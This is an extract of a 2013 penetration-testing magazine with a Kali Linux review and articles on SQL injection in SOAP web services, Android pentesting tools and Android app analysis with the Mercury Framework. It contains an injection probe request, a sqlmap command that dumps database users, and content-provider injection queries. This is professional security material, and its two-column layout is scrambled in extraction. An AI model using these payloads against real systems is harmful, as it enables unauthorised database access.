For example: /pentest/passwords/john/john Easier Updating and Upgrading
file_name. Packages on Kali can be updated with ease with-
Remembering the locations of the tools was a out worrying about breaking something. This is
pain and it just made things complicated. because the packages in the Kali repositories are
In addition, Backtrack had a lot of puny errors Debian Compliant. The Kali Distribution itself can
which crept up here and there while we were work- be upgraded to newer version without the need for
ing, small issues that we had to resolve on our own re-installing the distro.
or run to Backtrack forums and get help from other
Pentesters there. 300+ PenTesting Tools
For example, the wicd d-bus error that was This is quite a large collection and chances are
ready to greet us when we installed a fresh copy of that we wont be needing all of them and we
BT5 and tried to connect to a network. Backtrack might be needing some that are not included
forums (and other websites) are filled with how- by default. However packages can always be
to posts that attempt to provide solution to such grabbed from the repositories at will, so thats
problems. Eventually we learned to get around never a problem.
these issues but it did waste a lot of our time.
What is this Forensics Mode?
What makes Kali different While booting up Kali Linux, an option exists for
from Backtrack 5? Live Forensic Mode (Figure 2). This is quite a
This is the most asked question about Kali today. useful feature if we want to do some real world fo-
Offensive Security has tried to answer it on their rensic work. When into Forensics Mode, the inter-
website Unfortunately for us, thats not a sim- nal Hard Disk is not touched in any manner. The
ple question to answer. Its a mix between ev- People at Offensive Security Performed a Hash
erything and not much, depending on how you Comparison test where Hashes were taken of the
used Backtrack. Hard Drive before and after using Kali in forensics
mode. At the end of the test, the hashes matched
Highlights of the new Kali suggesting that no changes were made during
Switch From Ubuntu to Debian the operation. Also worth noticing is that the Au-
Kali Linux is based on Debian (Debian Wheezy). to mount of Removable Media is disabled while in
This turned out to be a great move by Offensive- Forensics mode.
Security. The New Kali is much more comfortable
to use than its predecessor.

File Hierarchy Standard Compliance


In the words of MUTS from Offensive Security,
What this means is that instead of having to navi-
gate through the /pentest tree, you will be able to
call any tool from anywhere on the system as ev-
ery application is included in the system path. This
is again a very welcome change in Kali.

Customizations of Kali ISOs


If need be, we can now build our own custom-
izations of Kali Linux. These ISOs can be boot-
strapped directly from the repositories maintained
by Offensive Security. Figure 2. Kali Linux Boot Menu

TBO 03/2013 Page 51 http://pentestmag.com


Metasploit Framework in Kali The Top 10 tools in Kali Linux are mentioned below:
The discussion on Kali (or Backtrack for that mat-
ter) would be incomplete without a mention of Aircrack-ng For wireless Cracking
how well the Metasploit Framework is integrated Burpsuite For Web Applications Pentesting
with this distro. While msfconsole brings it up, Hydra For online Brute-Forcing of Passwords
msfupdate can update the metaspoit framework. John For offline Password Cracking
Like in Backtrack, POSTGRESQL is used to store Maltego For Intelligence Gathering
the database. Metasploit Framework For Exploitation
Nmap For Network Scanning
Owasp-zap - For finding vulnerabilities in web
applications
Sqlmap For exploiting SQL injection Vulnera-
bilities
Wireshark Network Protocol Analyzer

Kali Community Support


Figure 3. Metasploit Framework in Kali Kali Linux has an official IRC Channel on the
Freenode network, #kali-linux. It provides a
The guys from offensive security and rapid7 (peo- good platform to interact with other users of Kali
ple behind the metasploit project), co-operated to and get support. Kali Linux provides three official
pre-load Kali Linux with msfpro (the profession- repositories:
al web-service version of metasploit framework).
Metasploit in Kali has full tech support from rapid7. http.kali.org: main package repository
security.kali.org: security packages
Tools in Kali Linux cdimage.kali.org: ISO images
Tools are mostly the same as those found in Back-
track. However, in the Kali Linux menu, 10 Security Subtle differences noticed while regular
tools have been highlighted as the Top 10 (Figure work on Kali
4). Anyone who has worked on BT would have no One had to bring up the Graphical Interface man-
trouble guessing which tools would be available on ually by typind startx in Backtrack. However Ka-
Kali and which need to be grabbed from the repos- li loads up the Graphical User Interface by default.
itories. More than 300 tools come packaged with Kali Linux environment is much cleaner and stable
Kali which are enough to serve the needs of most than Backtrack 5. The Nessus Vulnerability scanner
PenTests. is not installed in Kali by default (as it was in Back-
track 5). You would have to install it manually from
the debian package. Kali comes with a Graphical
Packages installer which can be used to install new
packages with the click of the mouse. It can brought
up by typing the command: gpk-application.

Figure 5. Graphical Package Installer in Kali


In Backtrack, several PenTesters faced issues in
Figure 4. The Top 10 Security Tools in Kali getting their Bluetooth up and running. The Backtrack

TBO 03/2013 Page 52 http://pentestmag.com


and it is significantly different from its predeces-
On the Web sor, yet any PenTester who was comfortable using
www.kali.org The main Kali Linux website Backtrack 5 would find his way around in Kali Linux
docs.kali.org documentation site
forums.kali.org Discussion Forums
with ease. The default login in Kali Linux is in root
bugs.kali.org For reporting bugs mode, so it is not the everyday desktop OS and is
git.kali.org monitor the development of Kali Linux not recommended for those new to Linux. Howev-
er it fits the Penetration Testing needs perfectly.

forums are filled with people troubleshooting their Pranshu Bajpai


Bluetooth devices. In Kali Linux no such problem was Pranshu Bajpai (MBA, MS) is a Comput-
noticed and the Bluetooth works fine. Firefox is re- er Security Professional specialized in
placed by Iceweasal which doesnt matter much as Systems, Network and Web Penetra-
they are both similar. However the Iceweasal Browser tion Testing. He is completing his Mas-
in Kali doesnt come pre-loaded with plug-ins like no- ters in Information Security from the
script as in Firefox in Backtrack. Iceweasal comes Indian Institute of Information Technol-
clean. Small issues like inability to control your back- ogy. Currently he is also working as a
light in Backtrack have been fixed in Kali Linux. So Freelance Penetration Tester on a Coun-
you would have a smoother working environment. ter-Hacking Project with a Security Firm
in Delhi, India, where his responsibilities include Vulnera-
Summary bility Research, Exploit kit deployment, Maintaining Ac-
Kali Linux definitely turned out to be everything that cess and Reporting. He is an active speaker with a pas-
a Penetration Tester would want from a Linux distro. sion for Information security. In his free time he enjoys lis-
It does have room for improvements though and the tening to Classic Rock while blogging on www.lifeofpen-
developers are working on it constantly to make it tester.blogspot.com.
better. It addresses the problems Backtrack 5 had

a d v e r t i s e m e n t

Reduce Time, Reduce Cost, Reduce Risk

EMBEDDED LINUX
Design, Development, and Manufacturing

Embedded Software Design Services


Our embedded design expertise, coupled with our systems design skills, allows us to deliver products that
are leading edge as well as solid and robust. Embedded DSP/uC designs including embedded Linux, TI
DaVinciTM DVSDK, as well as PC based Linux systems are within our portfolio.

For more information, contact us at


sales@css-design.com
402-261-8688

www.css-design.com

Communication Systems Solutions 6030 S. 58th St. STE C Lincoln, NE 68516 402.261.8688
How to Detect SQL
Injection Vulnerabilities in SOAP?

SQL Injections are a well known topic in web application security


(at least since 2001). So, why another article about that? Because
not all the SQL injections are so obvious, and pentesters often look
for them only inside the web application GET/POST requests.

T
ons of articles have been written about the phases starting from the detection to the database
SQL injection vulnerability. Since 2001, re- data acquisition using the commonly available tools.
searchers all around the world have published
techniques and tools to detect and exploit them. As Application Behavior Analysis
the wise say: a fool with a tool is still a fool, and of- To start this kind of security analysis, the first step
ten the penetration tester acts like a fool relying only is setting up the right environment. In this case, the
on the automated scanning tools output to detect penetration test goal was to simulate an attack com-
SQL Injection: if no alert is thrown by the scanner, ing from the internal network. To do that, we needed
the application under review is marked as "safe". two different boxes: the first configured with the MDI
Things get worse if the application under review is application and the second with the tools we need-
not the classical Web Application: many "Security ed to perform the job. Usually during a penetration
Professionals", at least here in Italy, think that SQL test, the traffic produced between the attacking ma-
injection vulnerabilities affects only web applica- chines and the target application is monitored and
tions. So if the vulnerable application, for example, logged for assurance purposes, so in this case the
is Windows MDI based and the back end integration first box was also equipped with Wireshark to ac-
is done through SOAP Web Services, the SQL In- complish the monitoring tasks. In this kind of test
jection vulnerabilities are not considered at all. Most monitoring the network traffic is also essential to un-
of the time, SOAP Web Services are designed to derstand how the application manages the under-
integrate together remote "trusted" systems, the se- lying connection to the "data source". The testing
curity controls are poorly or not implemented, and scenario is represented in Figure 1.
an attacker can easily bypass the application logic After setting up the environment, we started run-
in order to the access the data base. ning the application while collecting traffic on the
In this article, we will talk about a real world ex- MDI interface for a few minutes. As there was no
ample, where the automated vulnerability scanner encryption over the transport layer we could easily
tools failed to detect the SQL injection vulnerabil- discover that the application was relying on SOAP
ity residing inside the SOAP web services code, in- WEB Services to expose data to the end-user. A
voked by an MDI Windows application. Particular- snippet of the SOAP communication is reported in
ly, we start describing the vulnerability exploitation Figure 2.

TBO 03/2013 Page 54 http://pentestmag.com


Taking advantage of the information retrieved an-
alyzing the capture data, we were able to identify
the URL where the WSDLs were stored on the web
server: the MDI application's backend was based
on Microsoft's .NET technology thus, if not overrid-
den by the programmer (as in our case), access-
ing the WEB services URL with the GET method
and the parameter "WSDL" in the request, tells the
WSDL specification for the accessed services.
After having understood the application basic is
communication pattern, we mapped all the non au-
thenticated accessible features via the GUI, while
logging the traffic. The collected data together with
a bunch of GET requests, gave us all the SOAP
WSDL for the whole web service. At that point, we
had all the entry points to start the actual security
analysis.

Automated Scan Analysis


The activity starts with an automatic scanning tool.
The tool we used (a commercial one) is supposed
to be one of "the most advanced" web application
scanner on the market that performs exhaustive
tests also on Web Services based on SOAP tech-
nology. During the automated scan we observed
that the tool was sending many attack payloads for
every variable in SOAP requests.
Unfortunately, we were not lucky enough, and
the "most advanced" web application scanner on
the market didn't find any meaningful response for
Figure 1. A testing scenario of simulated attack coming from our purposes. In other words, no vulnerability was
internal network

Figure 2. A snippet of the SOAP communication

Figure 3. The output given by one of the SOAP requests

TBO 03/2013 Page 55 http://pentestmag.com


identified inside the SOAP Web Services and the With these results, it would have been logical to
applications were marked as "secure". close the activity with an almost empty report, and
We made a second attempt with the same tool mark the application as secure. But hey, we're not
with a slightly tuned configuration ,where we in- monkeys nor fools we can't rely on an automated
creased the timeout and the number of retries in tools results to determine whether an application is
case of communication fail and after few hours, we secure or not, so we decided to manually test the
obtained the same results. SOAP WEB services in a different way, looking for
Just to be sure that the SOAP WEB Servic- some specific class of vulnerabilities.
es was not vulnerable, we decided to try again,
this time with one of the "most advanced" non Discovery of the SQL Injection
commercial available web application scanner. Vulnerability
The results were the same, no vulnerability was We focused on the Windows MDI based applica-
identified. tion backend because in our testing scenario, it is

Listing 1. The SOAP request that triggered the error message

POST /service1.asmx HTTP/1.1


Content-Type: text/xml
SOAPAction: "XXXXXX.WSPServer/XXXXXXXXXXXXXXXXXXXXXXXXXXXX"
Content-Length: 616
Referer: http://XXXXXXXXXXXXXXXXXXXXXXXXXXXX:82/service1.asmx
Host: XXXXXXXXXXXXXXXXXXXXXXXXX:82
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.orq/soap/envelope"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://xxxxxxxxxxxxxxx"
xmlns:SOAP-ENC="http://schemas.xm1soap.org/soap/encoding/" xmlns:urn="XXXXXX.WSPServer">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:XXXXXXXXXXXXXXXXXXXXXXXXXXXX>
<urn:key>1&apos;"</urn:key>
<urn:value>1</urn:value>
</urn:XXXXXXXXXXXXXXXXXXXXXXXXXXXX>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 2. The sqlmap command line used to exploit the vulnerability and retrieve the users

$ ./sqlmap -r ACTIVITY.request --level 5 --risk 3 --users


web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
back-end DBMS: Oracle
database management system users [26]:
[*] ANONYMOUS
[*] APEX_PUBLIC_USER
[*] APPLUSR
[*] DBSNMP
...

TBO 03/2013 Page 56 http://pentestmag.com


the easiest way to obtain sensitive data. It does scope of payloads and boundaries, while the "risk"
not make sense to look for typical web application parameter defines how heavy the SQL injection
interface vulnerabilities (for example XSS or Click- should be, wether OR-based SQL injection should
jacking). So we have to focus on application logic be used and enables potentially risky queries. Our
vulnerabilities, SQL/Code injection, and so on. test has been fairly aggressive so we set "level"
We decided to insist manually on SQL Injec- parameter to 5 and "risk" parameter to 3. The sql-
tions using better fuzzing techniques on previou- map cmdline used to exploit the vulnerability and
vsly identified SOAP requests. In our experience retrieve the users is shown in Listing 2.
in fact, this kind of applications entirely accessed
by Windows MDI based application, rather then Conclusion
the typical user/browser, are rarely coded with the Automated vulnerability scanner tools are not
right security approach. Input validation is even enough but are complementary to a deep manual
less considered when the application is designed analysis. Due to a large number of reasons, a tool
for internal network use. can fail to detect a vulnerability, even a well known
The tool of choice is Burp Suite, particularly the one like a SQL injection. So, relying only on the
intruder module. It offers a very flexible way to per- output of an automated tool to evaluate the secu-
form fuzzing tasks regardless the underlying http rity level of an application may give a false sense
based target technology. The intruder supports mul- of security: certain class of vulnerabilities may be
tiple attack types and multiple payloads schemes over rated while others are ignored and could rep-
to be used during the fuzzing. We configured the resent a real security risk.
"Sniper" mode, an attack type that uses a single set That's when the human factor (for example the
of payloads. For each round, the sniper replaces pentester) makes the difference: it is fundamental
one data field at a time with the chosen payload, to deepen the investigation and to go over the first
leaving the others unchanged. In our experience results even if they are all negatives.
this attack type is very effective in identifying possi- In the specific case of SQL injections, they can
ble injections because it narrows down the injection be in several places other than web request pa-
scope to a specific data field. The chosen payload rameters. Sometimes in a test, the less common
sets are made of all the most effective payloads col- vectors are ignored (for example SOAP, headers,
lected during last years pentesting activities. cookies) but these interfaces are even more inter-
The fuzzing output has been analyzed and one esting for a pentester, because their lower exposi-
of the SOAP requests gave an interesting output: tion to the user typically leads to less attention to
"ORA-01756 quoted string not properly terminated" input validation in the code.
(in Italian) as shown in Figure 3. The request that
triggered the error message shows the vulnerable
SOAP request parameter which is the one called Francesco Perna
"key". The SOAP request is shown in Listing 1. Francesco Perina is a computer enthusiast since child-
hood and has spent more than 15 years on the research
SQL Injection Exploitation of security issues related to applications and commu-
Exploiting a SQL injection in a SOAP web service nication protocols, both from the offensive and defen-
is not different from exploiting one in a WEB appli- sive point of view. He is a partner and technical direc-
cation. Once the vulnerable parameter has been tor of Quantum Leap s.r.l., a company that offers secu-
clearly identified, the next step is to choose how to rity services to companies and organizations. http://
enumerate the information. www.linkedin.com/in/francescoperna, f.perna@quantum
The tool of choice to exploit the SQL injection is leap.it, www.quantumleap.it
SQLmap, fed with the requests identified using the
"intruder" module. We used it because it supports Pietro Minniti
many exploitation and evasion techniques and Pietro Minniti is a Security Professional for over 10
combine them to enumerate db structure and fetch years and he focused his research mainly in the ERP se-
all possible data from the database. curity field. As application security specialist in Quan-
First attempt with default configuration did not tum Leap, he performs the security analisys on corpo-
provide any interesting results, so we decided to rate networks and national critical infrastructure en-
go for another round setting the "level" and "risk" vironment. http://www.linkedin.com/in/pietrominniti,
parameters on. The "level" parameter defines the p.minniti@quantumleap.it, www.quantumleap.it

TBO 03/2013 Page 57 http://pentestmag.com


Android as a
PenTesting Platform
There has been enough noise in the information security industry
for generally talking about awareness in the area of mobile
applications and devices. Industry leaders including McAfee,
OWASP, Core Security & Secforce etc have been consulting to
deliver security assessment services in the corporate sector for
mobile applications and devices but there is now enough focus on
using Android as a Penetration Testing Platform.

F
igure 1 is based on the number of Android NIST SP800-115 technical documents fours
devices that have accessed Google Play phases penetration testing approach as shown in
within a 14-day period ending on the data Figure 2. I will not explain these phases here how-
collection date i.e. 1 November 2012. ever we will se how Android Platform fits into this.
Food for thought: Can someone use a phone to Penetration testing is highly dependent upon
hack? Imagine the crowd; every day more than 1 standardised tools. For each phase in this meth-
million new Android devices are activated world- odology you need tools to actually work for you.
wide! In one liner you need to plan youre for your job of
testing, discover your target and plan an attack.
Introduction First plan your penetration testing project and get
Before we discuss how Android can be used as a ready for action. First of all you need to know which
penetration testing platform let me quickly highlight tools you can use to actually start working with.
methodology we use for penetration testing and Now question is will Android would be able to pro-
then we see how this Android Platform easily fits vide support for actually executing the above meth-
into the methodological framework for pen testing. odology? The answer is hmm! Lets find out.
For example if you are running a network penetra-
tion test. At a high level you need vulnerability scan-

Figure 1. Distribution Figure 2. Four phases of PenTest

TBO 03/2013 Page 58 http://pentestmag.com


ner by which you can actually figure out the vulnera- with every possible detection except vulnerabilities
bility posture of the network. So here is the answer, when you we talk about network scans. Yes nmap
you can use industrys best vulnerability scanner on also works on Android. Below is a fine snapshot of
Android Platform. Nessus provide support for ac- Nmap in action on Android Device (Figure 5).
tually executing scans from your Android Device. When you talk about wireless network there is an-
other tool that would be useful to port would be Air-
Nessus for Android Overview crack-ng. Aircrack-ng is commonly used for cracking
Lets have a look on Nessus Android Functionality as wireless network passwords. It does this by monitor-
shown in Figure 3. The Nessus Android app, from ing wireless communications and using the informa-
Tenable Network Security Inc., enables you to log in- tion it gathers from the captured packets. Aircrack
to your Nessus scanners and start, stop and pause is primarily a command line program and could be
vulnerability scans as well as analyze the results di- quite simple to port. Aircrack-ng would simply need
rectly from your Android device. This mobility helps to be allowed to access the devices wireless hard-
improving the efficiency of your Incident Response ware and have all prerequisites installed.
process by letting you quickly log into a Nessus scan- Kismet is a command line tool that allows raw
ner from your phone to search previous scan results packet capturing on many interfaces including Blue-
or check the status of an on-going scan. tooth, andWiFi. Another feature of Kismet is that
you can install plug-in that allow for raw capturing
Network Discovery Tool on more interfaces. Kismet could be a useful pro-
There some low level network discovery tools al- gram to include in this Android PenTesting. Suite,
so available in the market which can also be used Figure 6 shows kismet in action on Android device.
for discovering, mapping, scanning, profiling your
Wi-Fi network computer/device discovery and port
scanner for local area network. For example you
can use a free tool called Network Discovery on
your Android device as shown in Figure 4. You can
also perform tasks like Banner retrieval, service
detection, 3g discovery with this free tool.

Nmap
Now it will be unfair if we havent mentioned the
great tool of all time for performing network sweeps

Figure 4. Network discovery

Figure 3. Nessus Android Figure 5. Nmap

TBO 03/2013 Page 59 http://pentestmag.com


So far we have tools which help in your planning will allow you to install the cutting edge penetration
and discovering phase, this includes network scan- testing tools like Metasploit into your mobile device.
ning, ports scanning & vulnerability scanning tools. Although you can still install Ubuntu on your
We have also shown Kismet a packet capturing tool android machine there are techniques to install
which helps a lot in information gathering phase in Metasploit as well on your rooted device while
penetration testing, this depends on the motive. running Ubuntu on it. I will give a highlight of how
Mobile is a mobile it can not give you full features you can achieve this in quick and few steps. Fol-
like a desktop machine, usually you need a high-tech low the below mentioned steps and Google when
machine when you for all these sort of stuff however and where required, to install Metasploit on your
tablets have turn the market trend from laptop to tab- Android Mobile device this is a hint only guideline.
let devices and android has taken over good chunk
from market. I have come across a tool which looks Root your device Rooting the device has its
like a complete package to actually perform a pene- own advantages and disadvantages, just a
tration test from an Android platform i.e. Zimperiums Google search will throw some light into it.
Anti. Anti offers OS detection,Wi-Fimonitoring, ex- Download and Install the Ubuntu compatible
ploitation of vulnerabilities, etc. Unfortunately Anti us- with ARM processor, which can be obtained
es a token system that would just plain drain the av- easily from the internet.
erage wallet. Figure 7 shows features Anti provides. The best way to install is to install Titanium
Hmm something interesting right? Backup from the market, and once you open
What if you can fully convert your mobile device into the application.
a desktop machine and run all your expert tools like Unzip the files to a folder Ubuntu in the hard disk.
you are running it from a Linux based machine? This Use DD to make the bit larger image file and
copy files to SD Card
Turn off the USB storage and Turn on the USB
Debugging
Install and fire up ADB Shell, ADB shell is a
tool comes with android SDK, so might want to
install it.
Once you installed the SDK go to the tool fold-
er from command and issue adb shell as a
command and then boot up your Ubuntu with
these commands cd sdcard/ubuntu
$ sh ./ubuntu.sh
$ bootubuntu
Figure 6. Kismet in action If you being lucky you should be getting root shell.

Once you have root you have a ground to play.

Conclusion
Table is turning! Canonical has already announced
that it will seamlessly integrate Android with the Linux-
based Ubuntu distribution. A device running Ubuntu
for Android loads Android during typical Smartphone
use cases, then switches to Ubuntu once its been
slid into a dock that connects to a monitor, keyboard,
and mouse. The installation basically gives you two
devices in one: an Android phone while on the go,
and a Ubuntu desktop when plugged in.

Raheel Ahmad
Raheel Ahmad, CISSP is an Information Security Consul-
tant with around 10 years of experience in Information
Figure 7. Features of Anti security and forensics.

TBO 03/2013 Page 60 http://pentestmag.com


CYBER SECURITY
IN OIL AND GAS 2014
27 29 January 2014 | Abu Dhabi, U.A.E.

THE LEADING CYBER SECURITY EVENT


IN OIL AND GAS OF 2014!

Register before November 15, 2013 and take advantage of early bird rate.
For Sponsorship Opportunites, contact us at +971 4 884 1110
kristine.tuazon@caxtongroup.com

Developed by Media Partners

www.caxtongroup.com
Android Vulnerability
Analysis with Mercury Framework

Nowadays, users save more sensitive data on their smartphones than


on their desktop pcs. This article will have a close look on Android
applications, how to analyze them and what vulnerabilites could
affect user data.

D
uring the past few years, smartphones and plication explicitly requests the right to access pro-
other mobile devices have seen their com- tected resources before it may be installed. This
putational power and data connectivity rise will ensure that an application isnt able to access
to a level nearly equivalent to that available on sensitive information stored on the system or in the
desktop computers. Nowadays, users save more private space of another application and that ac-
sensitive data on their smartphones than on their cessing hardware features such as the camera or
desktop pcs. Users are now able to login to their GPS is not allowed.
email accounts, plan meetings, share thoughts Each application on the device runs under a
and even do banking transactions with their smart- seperate User ID and Group ID which means that
phones. When talking about smartphones, we are every application is isolated from one another.
looking at the devices that run operating systems There is also an option for the application to share
just like desktop pcs. different resources over the UID.
Android is an open source operating system Despite these security controls, applications can
based on a monolithic Linux based kernel with a be a serious security risk. This article will have a
layered structure of service including core native close look on Android applications, how to analyze
libraries and application frameworks. There are them and what vulnerabilites could affect user data.
currently more than two milliondownloadable ap- For analyzing applications running on Android,
plications in the central repository of Android ap- a new tool has been developed by MWR InfoS-
plications run by Google and Android applications ecurity called The Mercury Framework which of-
can also be downloaded from other third-party fers security researchers a free framework to find
sites. On the application level, each software pack- vulnerabilities, write proof-of-concept and exploits,
age is sandboxed by the kernel. In theory, even and allows dynamic analysis of Android applica-
if an application gets exploited the attacker is not tions.
able to gain access to unprivileged data. Focusing To comprehend this tutorial it is necessary to
on the Android application privileges or as in the have a basic knowledge of the Android security
unix world called the permissions is a very basic system and the functionality of well known security
and important part of the Android security model. issues like SQL injections, directory traversal or in-
Androids permission model requires that each ap- secure file permissions.

TBO 03/2013 Page 62 http://pentestmag.com


First Step: Preparing a Test Case for Static returns the results to the client. The server appli-
and Dynamic Analysis cation requires just one permission the Internet
To help create a test environment it is useful to in- permission. This permission allows the server to
stall the Android Software Development Kit (An- communicate with the client and share the found
droid SDK). The Android SDK can be used to build information. Everything that was found can later be
virtual devices with different Android releases. Us- used to write a proof-of-concept exploit.
ing virtual devices will speed up the process of vul- Requirements for this tutorial:
nerability analysis because a researcher is able to
test vulnerabilities across platforms and on different Software Source Addition-
releases. The SDK offers a range of useful debug- al
ging tools which can assist during the process. To Android http://www.developer.android.
highlight just one, the logcat tool is an Android log- SDK com/sdk
ging system that provides a mechanism to collect Dex2jar http://www.code.google.com/p/
and view system debug output. Log files from appli- dex2jar
cations and system resources are collected in circu- Mercury http://www.labs.mwrinfosecurity. Python 2.7
lar buffers to help the developer debug applications. Framework com/assets/254/mercury-v1.0.zip Android 2.2
It is important to note that USB debugging must Webconten- http://labs.mwrinfosecurity.com/as-
be enabled in order for logcat to work. tresolver.apk sets/116/WebContentResolver.zip
Static analysis is also known as static program
analysis. This type of analysis is performed with- Second Step: Installing and Configuring
out executing programs. It is based on the source the Software on the Device and the PC
code and in some cases on the object code. On the PC
Dynamic analysis is the analysis of software that The Android SDK
is performed by executing programs on a real or vir- Depending on the testing requirements, the re-
tual device. The application is analysed by executing searcher can choose between using the Android
software and testing inputs for interesting behaviour. Emulator or the application on the device. The pros
Focusing on static analysis, it is necessary to and cons of each method can be referenced below.
have knowledge about how an Android Package
works and how it is compiled. The first step is for Emulator:
the compiler to compile the Java source code into Pro:
java class files. The java class files are converted
into .dex files, a special binary files for the Dalvik Easy and fast to set up
VM (Virtual Machine). The XML files are convert- Safe environment for analyzing malware or un-
ed into a binary format and after this step the .dex trusty applications
files, binaries and other ressources are packaged Ability to restore to a previous point
into an Android Package. The Android Package Cross platform testing
has a .apk extension.
In the case of static analysis, it is common to Contra:
reverse engineer an application in order to get a
better view of the behaviour of the application. To Slow
reverse a given application, the open source ap- Sometimes buggy
plication dex2jar allows us to convert the Android
.dex format into the former Java .class format. The Device:
class format can be decompiled and rewieved with Pro:
the tool JD-GUI (Java Decompile Graphical User
Interface) for further analysis. Fast and easy monitoring
For dynamic analysis, the Mercury Framework Real world experience
allows a researcher to dynamically test an appli- Full control if the device is rooted
cation. The Mercury Framework is constructed of
two parts: the server and the client. The server is Contra:
represented as an Android application in the mer-
cury.apk. The server maintains a set of commands Mishandling can lead to data loss
that perform a once-off function on the device and High risk of damage to the device

TBO 03/2013 Page 63 http://pentestmag.com


This tutorial will be based on MacOSX 10.7.4 but Mercury client
it will also work on Windows or Linux. The appli- After installing the Mercury Framework on the device,
cations will be analyzed on an Android device. a server is listening for an incoming connection. The
The testing device will be Android Version 2.3.5 clients connection to the server can be started with
on Linux Kernel 2.6.35.10. The device is connect- python mercury.py followed by connect 192.168.1.52
ed to a wireless network with the IP Adress of (Figure 4).
192.168.1.152 and is connected via USB port with
USB debugging enabled. On the Device
Before beginning to test applications, the previ- The Mercury Server application can be installed
ously mentioned logcat tool has to run. Logcat is on the device with any file manager available for
executed within the ADB binary (Android Debug- Android. After installing the application, the server
ging Bridge). After locating this file, logcat can be can be run by just pressing the ON button.
executed with the command ./adb logcat. A piece
of advice : You can get lost within the huge amount Step Three: Vulnerability Analysis
of debugging data so it is always good to save ev- To get an idea of the general attack surface of an
erything for later analysis (Figure 1). application, the tool attacksurface within the pack-
ages section is used. This command can be used
dex2jar JD GUI to examine the general security considerations of
For the static analysis, the application is going to be an application with regards to exporting of IPC end-
reversed. By renaming the .apk file to the .zip ex- points and other atypical Android security concerns.
tension any common archiver like winzip or winrar Attacksurface checks the following cases:
is able to extract the files to the system (Figure 2).
Seeing the files available, the remarkables are Number of activities exported
the AndroidManifest.xml and as discussed earli- Numbers of services exported
er the .dex binary files. The Android Manifest pro- Numer of broadcast receivers exported
vides information about the privileges that the ap- Number of content providers exported
plication is going to be granted. The binary .dex If the application uses a shared user-id
files can be converted with the dex2jar tool with the If the application is marked as debuggable
following syntax: ./dex2jar yourapplication.apk.
A new file with the name yourapplication_dex- The syntax of this tool is *mercury#packages >
2jar.jar is generated (Figure 3). The JD-GUI is now attacksurface com.yourapplication.mz.
able to decompile this file and show the source, so
the application is ready to be analyzed. In this case, the tool found the following results:

1 activities exported
0 broadcast receivers exported
0 content providers exported
0 services exported

debuggable = true

One of the interesting things we see here is that


the app is exporting 1 activity and it is marked
as debuggable. This means that on a standard
phone with USB debugging disabled, it will allow
Figure 1. Logcat debugging output any application to debug the app. This will effec-
tively allow any malicious application to gain full
access to the app which could be a huge risk for
sensitive user data.
To verfiy this, a tool from the Android SDK can be
used. AAPT (Android Asset Packaging Tool) will give
detailed debugging reports. The command is: aapt list
Figure 2. The content of an APK Package -v -a myfile.apk. The v option is for verbose output

TBO 03/2013 Page 64 http://pentestmag.com


which will allow more detailed output and the a op- tent resolver. Focusing the SettingProvider content
tion will point to the .apk file. The thing to highlight in will be used as an example. Access to the settings
this example is this output: A: android:debuggable( is not restricted and is therefore granted to any ap-
0x0101000f)=(type 0x12)0xffffffff. The flag value plication by default. In this example, the application
0x0 means that the debuggable option is false and used will request the system settings content from
the 0xffffffff value means that the debuggable option the provider as follows:
is true and the application is under potentional risk.
Cursor cur = this.getContentResolver().query
SQL Injection (Settings.System.CONTENT_URI, null, null, null,
Theory null);Log(count: + cur.getCount());
Due to the ability of applications to use database
systems, reseachers have found a way to exploit As a result of the command, the program will now
misconfigured databases with a technique called store the information returned by the database.
SQL Injection. To refer back on the introduction, The query method of the ContentResolver module
keep in mind that Android applications are able to is implemented as follows:
share databases. An application is able to request
data from a content provider using a so-called con- final Cursor query(Uri uri, String[] projection,
String selection, String[]
selectionArgs, String sortOrder)

By knowing this setting, all pa-


rameters to null the fields are
omitted and no results are re-
turned. The resulting SQL state-
ment will be:

Select * from system;

By accessing a string, this will


be changed if a parameter is
added. For example if _ id=1 is
passed the final resulting SQL
statement will be:

Select * from system where (_


id=1);

At this point, the security weak-


Figure 3. Decompiled Java.class Code ness appears and an attacker is
able to access data in the same
SQL database or in other da-
tabases which share the same
SQL database process (GID).

Practice
A tool for exploiting potential
SQL injections in applications is
the Software Webcontentresolv-
er, also included in the Mercury
Framework. In this test case, the
Webcontentresolver didnt work
correctly and a standalone ver-
Figure 4. Mercury Frameworks start screen sion was used.

TBO 03/2013 Page 65 http://pentestmag.com


a brief overview of the func-
tionality of the query meth-
od. The next step is to que-
ry one of the providers. In this
example, the settings provid-
er was chosen. Pointing the
browser to http://localhost:8080/
query?a=settings&path0=system
Figure 5. Webcontentresolver Browser output will give the content of the set-
tings table in the Settings provider. Going to http://
Once installed on the device, the application has localhost:8080/query will give a brief overview of
the port forwarded to tcp port 8080. This can be the functionality of the query method.
done with the tool ADB and the command: Entering http://localhost:8080/query?a=settings
&path0=system&selName=_id&selId=5 will cause
./adb forward tcp:8080 tcp:8080 the browser to show a single row in the table:

The researcher is now able to inspect an applica- Query successful: Column count: 3 Row count: 1 |
tion from a web interface located under http://loc- _id | name | value | 5 | volume_alarm | 6
alhost:8080 (Figure 5).
To get a list of the possible content providers, click http://localhost:8080/query?a=settings&path0=sys
on the list button. The output will be a list of con- tem&selName=_id&selId=5 will demonstrate the
tent providers, their authority, if they are exported, first vulnerability:
and the read/write permissions. In this example, the
package of com.android.proviers.settings was Exception: android.database.sqlite.SQLiteException:
chosen. The authority which has the permissions unrecognized token: ): , while compiling: SELECT
to read its settings. As seen in the table, the read- * FROM system WHERE (_id=5) unrecognized token:
Perm (standing for reading permission) is set to null. ): , while compiling: SELECT * FROM system
Knowing this means that any application is able to WHERE (_id=5)
read everything within the package with the author-
ity settings without having any permission (Figure 6). To go further and actually exploit this SQL Injec-
To get a list of the possible contents within the tion vulnerability, either web application SQL In-
package, a tool called finduri can be used. The fin- jection tools can be used or it can be done man-
duri tool is targeting the com.android.providers. ually. (Manual exploitation will not be covered in
settings with the following command: this article.) The Mercury Framework includes a
module to test SQL injections.
